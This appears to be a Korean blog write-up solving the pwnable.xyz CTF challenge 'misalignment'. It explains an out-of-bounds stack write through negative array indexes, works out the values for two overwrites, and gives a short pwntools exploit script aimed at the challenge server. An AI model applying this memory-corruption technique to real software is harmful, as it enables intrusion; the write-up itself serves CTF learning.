pwnable.xyz - misalignment

728x90

Decompile

 

1. auStack.7_8_을 0xdeadbeef으로 초기화

2. 3개의 부호없는 정수를 받는다(%ld, long double)

3. 마지막 인자 * 8 + 48로 하는 auStack.7_8 배열의 인덱스에 첫번째와 두번째 인자 값을 더함

4. 만약 auStack.7_8_이 0xb000000b5면 win함수 실행(flag을 보여줌)

 

저 dedf 부분의 값을 바꿔야함

111 222 -5를 했을때 0xdeadbeef 위치에 덮인다. 하지만 마지막 ef때문에 한번에 덮어지지는 않는다.

 

때문에 두번에 나눠서 덮어야함

 

 

0xB000000B5 -> 0xB00000000과 0xB5로 나눌수 있음 하지만 ef때문에 다음 메모리 주소에서 침범하여 덮어야함

그래서 0xB500000000000000을 쓰고 0xB000000를 덮는다면 가능할 거 같음

0xB500000000000000 = -5404319552844595200

0xb000000= 184549376

 

처음 0xB500000000000000을 썼을때(인덱스 -6)
두번째 0xb000000을 썼을때(인덱스 -5)

Exploit Code

from pwn import *

p = remote('svc.pwnable.xyz', 30003)

p.sendline('-5404319552844595200 0 -6')
p.sendline('184549376 0 -5')

p.interactive()
728x90

'pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - Grownup  (0) 2021.07.23
pwnable.xyz - add  (0) 2021.07.20
pwnable.xyz - welcome  (0) 2021.07.18